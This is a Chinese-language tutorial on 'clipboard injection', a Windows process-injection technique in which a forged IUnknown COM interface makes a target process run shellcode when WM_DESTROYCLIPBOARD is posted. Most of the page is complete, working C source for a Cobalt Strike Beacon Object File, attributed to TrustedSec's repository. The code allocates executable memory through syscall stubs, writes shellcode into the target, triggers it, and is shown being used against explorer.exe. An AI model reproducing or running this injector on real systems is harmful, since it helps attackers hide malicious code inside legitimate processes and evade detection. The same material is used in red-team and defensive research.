剪切板注入
简介
利用剪切板实现进程注入是一种隐蔽的技术,它通过模拟Windows的Component Object Model (COM)接口来执行恶意代码。在这种方法中,攻击者首先选择一个目标进程,该进程具有与剪切板相关的窗口。接着,攻击者创建一个伪造的IUnknown
COM接口,并将其Release
方法指向恶意的shellcode。当目标进程尝试释放与剪切板相关的资源时,它会调用这个伪造接口的Release
方法,从而触发并执行恶意代码。这种技术的巧妙之处在于它利用了Windows的正常功能和行为,从而在不引起任何可疑活动的情况下执行代码
实现流程
1.定义IUknown_t结构
首先定义了一个IUknown_t
结构,用于模拟COM对象的IUnknown
接口,其中的Release方法将在WM_DESTROYCLIPBOARD
消息被处理时执行,这也为后续的shellcode执行埋下伏笔
typedef struct _IUnknown_t {
// a pointer to virtual function table
ULONG_PTR lpVtbl;
// the virtual function table
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;
2.查找目标窗口并获取其PID
使用FindWindowsExA
函数遍历所有具有CLIPBRDWNDCLASS
类名的窗口,并打印与其关联的进程PID
// Get the handle to the target process's window
do
{
hWnd = USER32$FindWindowExA(HWND_MESSAGE, hWnd, "CLIPBRDWNDCLASS", NULL);
if ( NULL == hWnd ) { break; }
USER32$GetWindowThreadProcessId(hWnd, &dwProcessId);
internal_printf("CLIPBRDWNDCLASS found in PID:%lu\n", dwProcessId);
}
while (dwProcessId != lpProcessInfo->dwProcessId);
if (NULL == hWnd)
{
dwErrorCode = ERROR_INVALID_WINDOW_HANDLE;
internal_printf("Failed to find a CLIPBRDWNDCLASS window handle for PID:%lu\n", lpProcessInfo->dwProcessId);
goto end;
}
3.将IUnknown结构的Release方法指向shellcode
初始化IUnknown结构,其中Release方法指向写入的shellcode。然后将此结构写入目标进程的内存中
// Create new IUnknown struct
intZeroMemory(&iUnknown, sizeof(iUnknown));
iUnknown.lpVtbl = (ULONG_PTR)lpRemoteIUnknownBuffer + sizeof(ULONG_PTR);
iUnknown.Release = (ULONG_PTR)lpRemoteShellcodeBuffer;
// Write the new IUnknown to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteIUnknownBuffer,
&iUnknown,
sizeof(iUnknown),
&RegionSize
);
4.触发Release方法执行shellcode
使用USER32$SetPropA
函数将IUnknown
结构设置为目标窗口的属性,随后发送WM_DESTROYCLIPBOARD
消息到目标窗口,这将导致Release
方法被执行(即执行shellcode)
// Set the interface property
if ( FALSE == USER32$SetPropA(hWnd, "ClipboardDataObjectInterface", lpRemoteIUnknownBuffer) )
{
dwErrorCode = KERNEL32$GetLastError();
internal_printf("SetPropA failed (%lu)\n", dwErrorCode);
goto end;
}
// Trigger execution
USER32$PostMessageA(hWnd, WM_DESTROYCLIPBOARD, 0, 0);
BOF代码实现
以下代码源自TrustSec的Bof仓库:https://github.com/trustedsec/CS-Remote-OPs-BOF/tree/main
#define _WIN32_WINNT 0x0600
#include <windows.h>
#include <winternl.h>
#include <stddef.h>
#include "beacon.h"
#include "bofdefs.h"
#include "ntdefs.h"
#include "base.c"
#include "injection.c"
typedef struct _IUnknown_t {
// a pointer to virtual function table
ULONG_PTR lpVtbl;
// the virtual function table
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;
DWORD clipboard(PROCESS_INFORMATION* lpProcessInfo, LPBYTE lpShellcodeBuffer, DWORD dwShellcodeBufferSize)
{
DWORD dwErrorCode = ERROR_SUCCESS;
HWND hWnd = NULL;
DWORD dwProcessId = 0;
PHMOD hNTDLL = NULL;
NtAllocateVirtualMemory_t NtAllocateVirtualMemory = NULL;
NtReadVirtualMemory_t NtReadVirtualMemory = NULL;
NtWriteVirtualMemory_t NtWriteVirtualMemory = NULL;
NtFreeVirtualMemory_t NtFreeVirtualMemory = NULL;
SIZE_T RegionSize = 0;
LPVOID lpRemoteShellcodeBuffer = NULL;
LPVOID lpRemoteIUnknownBuffer = NULL;
IUnknown_t iUnknown;
/*
internal_printf("hThread: %p\n", lpProcessInfo->hThread);
internal_printf("hProcess: %p\n", lpProcessInfo->hProcess);
internal_printf("dwProcessId: %u\n", lpProcessInfo->dwProcessId);
internal_printf("dwThreadId: %u\n", lpProcessInfo->dwThreadId);
internal_printf("lpShellcodeBuffer: %p\n", lpShellcodeBuffer);
internal_printf("dwShellcodeBufferSize: %lu\n", dwShellcodeBufferSize);
*/
// Get the handle to the target process's window
do
{
hWnd = USER32$FindWindowExA(HWND_MESSAGE, hWnd, "CLIPBRDWNDCLASS", NULL);
if ( NULL == hWnd ) { break; }
USER32$GetWindowThreadProcessId(hWnd, &dwProcessId);
internal_printf("CLIPBRDWNDCLASS found in PID:%lu\n", dwProcessId);
}
while (dwProcessId != lpProcessInfo->dwProcessId);
if (NULL == hWnd)
{
dwErrorCode = ERROR_INVALID_WINDOW_HANDLE;
internal_printf("Failed to find a CLIPBRDWNDCLASS window handle for PID:%lu\n", lpProcessInfo->dwProcessId);
goto end;
}
// Custom LoadLibrary on NTDLL
hNTDLL = _LoadLibrary(NTDLL_PATH);
if(NULL == hNTDLL) { goto end; }
// Get the syscall addresses
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetSyscallStub(hNTDLL, "NtAllocateVirtualMemory");
NtReadVirtualMemory = (NtReadVirtualMemory_t)GetSyscallStub(hNTDLL, "NtReadVirtualMemory");
NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetSyscallStub(hNTDLL, "NtWriteVirtualMemory");
NtFreeVirtualMemory = (NtFreeVirtualMemory_t)GetSyscallStub(hNTDLL, "NtFreeVirtualMemory");
if ((NULL == NtAllocateVirtualMemory) ||
(NULL == NtReadVirtualMemory) ||
(NULL == NtWriteVirtualMemory) ||
(NULL == NtFreeVirtualMemory)
)
{
dwErrorCode = ERROR_PROC_NOT_FOUND;
internal_printf("GetSyscallStub failed (%lu)\n", dwErrorCode);
goto end;
}
// Allocate remote shellcode buffer
RegionSize = dwShellcodeBufferSize + 1;
dwErrorCode = NtAllocateVirtualMemory(
lpProcessInfo->hProcess,
&lpRemoteShellcodeBuffer,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Write the shellcode to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteShellcodeBuffer,
lpShellcodeBuffer,
dwShellcodeBufferSize,
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Allocate the new IUnknown interface
RegionSize = sizeof(iUnknown) + 1;
dwErrorCode = NtAllocateVirtualMemory(
lpProcessInfo->hProcess,
&lpRemoteIUnknownBuffer,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Create new IUnknown struct
intZeroMemory(&iUnknown, sizeof(iUnknown));
iUnknown.lpVtbl = (ULONG_PTR)lpRemoteIUnknownBuffer + sizeof(ULONG_PTR);
iUnknown.Release = (ULONG_PTR)lpRemoteShellcodeBuffer;
// Write the new IUnknown to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteIUnknownBuffer,
&iUnknown,
sizeof(iUnknown),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Set the interface property
if ( FALSE == USER32$SetPropA(hWnd, "ClipboardDataObjectInterface", lpRemoteIUnknownBuffer) )
{
dwErrorCode = KERNEL32$GetLastError();
internal_printf("SetPropA failed (%lu)\n", dwErrorCode);
goto end;
}
// Trigger execution
USER32$PostMessageA(hWnd, WM_DESTROYCLIPBOARD, 0, 0);
KERNEL32$Sleep(10);
end:
// Free remote kernel callback table
if (lpRemoteIUnknownBuffer)
{
NtFreeVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteIUnknownBuffer,
0,
MEM_RELEASE | MEM_DECOMMIT
);
lpRemoteIUnknownBuffer = NULL;
}
// Free remote shellcode?
/*
if (lpRemoteShellcodeBuffer)
{
NtFreeVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteShellcodeBuffer,
0,
MEM_RELEASE | MEM_DECOMMIT
);
lpRemoteShellcodeBuffer = NULL;
}
*/
return dwErrorCode;
}
#ifdef BOF
VOID go(
IN PCHAR Buffer,
IN ULONG Length
)
{
DWORD dwErrorCode = ERROR_SUCCESS;
datap parser;
DWORD dwPid = 0;
LPBYTE lpShellcodeBuffer = NULL;
DWORD dwShellcodeBufferSize = 0;
PROCESS_INFORMATION processInfo;
MSVCRT$memset(&processInfo, 0, sizeof(PROCESS_INFORMATION));
// Get the arguments <PID> <SHELLCODE>
BeaconDataParse(&parser, Buffer, Length);
dwPid = BeaconDataInt(&parser);
lpShellcodeBuffer = (LPBYTE) BeaconDataExtract(&parser, (int*)(&dwShellcodeBufferSize));
if(!bofstart())
{
return;
}
// Get a handle to the injection process
internal_printf("GetInjectionHandle( %lu )\n", dwPid);
dwErrorCode = GetInjectionHandle( dwPid, &processInfo );
if (ERROR_SUCCESS != dwErrorCode)
{
BeaconPrintf(CALLBACK_ERROR, "GetInjectionHandle failed: %lX\n", dwErrorCode);
goto end;
}
// Execute our shellcode into the injection process
#ifndef __clang_analyzer__
internal_printf("clipboard( %02x %02x %02x %02x ..., %lu )\n",
lpShellcodeBuffer[0], lpShellcodeBuffer[1], lpShellcodeBuffer[2], lpShellcodeBuffer[3],
dwShellcodeBufferSize
);
#endif
dwErrorCode = clipboard(
&processInfo,
lpShellcodeBuffer,
dwShellcodeBufferSize
);
if (ERROR_SUCCESS != dwErrorCode)
{
BeaconPrintf(CALLBACK_ERROR, "clipboard failed: %lX\n", dwErrorCode);
goto end;
}
internal_printf("SUCCESS.\n");
end:
// Clean up the injection process
CloseInjectionHandle(&processInfo);
printoutput(TRUE);
};
#else
运行演示
首次执行该项目你可能会执行失败,因为你挑选要注入的进程不一定与CLIPBRDWNDCLASS
窗口类有关联,但是它接下来会打印能够利用剪切板实现进程注入的Pid
以下是对Explorer进程的注入,其Pid是4716,即上述打印出来的
最后更新于